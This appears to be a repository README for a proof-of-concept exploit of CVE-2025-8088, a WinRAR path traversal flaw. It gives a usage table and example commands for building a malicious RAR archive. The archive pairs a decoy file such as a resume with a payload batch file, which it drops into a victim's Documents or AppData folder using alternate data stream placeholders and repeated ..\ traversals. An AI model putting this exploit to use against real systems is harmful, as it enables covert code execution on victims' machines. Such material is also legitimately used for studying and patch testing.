ghostn4444/cve-2025-8088Proof-of-concept exploit for CVE-2025-8088, a WinRAR path traversal vulnerability enabling arbitrary code execution via crafted RAR archives. Includes a Python script with configurable decoy, payload, and drop paths for authorized security testing.
Exploit_cve_2025_8088.ps1
python poc.py
| Argument | Description | Example |
|---|---|---|
--decoy | Path to decoy file (will be created if it doesn't exist) | resume.txt |
--payload | Path to payload file (will be created if it doesn't exist) | payload.bat |
--drop | Absolute path to target directory where payload will be extracted | C:\Users\Victim\Documents |
| Argument | Description | Default Value | Notes |
|---|---|---|---|
--rar | Path to rar.exe | Auto-discovered | Will check common locations and PATH |
--out | Output RAR filename | poc-cve-2025-8088.rar | Final malicious archive |
--workdir | Working directory for temporary files | Current directory (.) | |
--placeholder_len | Length of ADS placeholder | max(len(target_path), 128) | Longer = more reliable traversal |
--max_up | Number of parent directory traversals (..\) | 16 | Minimum 8 recommended |
--base_out | Intermediate base RAR filename | <out>.base.rar | Temporary file, deleted after |
# Basic usage (auto-discover rar.exe)
python poc.py --decoy resume.txt --payload payload.bat --drop "C:\Users\Victim\Documents"
# Full custom configuration
python poc.py \
--decoy document.pdf \
--payload script.bat \
--drop "C:\Users\Victim\AppData\Roaming" \
--rar "C:\Program Files\WinRAR\rar.exe" \
--out malicious.rar \
--workdir ./build \
--placeholder_len 150 \
--max_up 20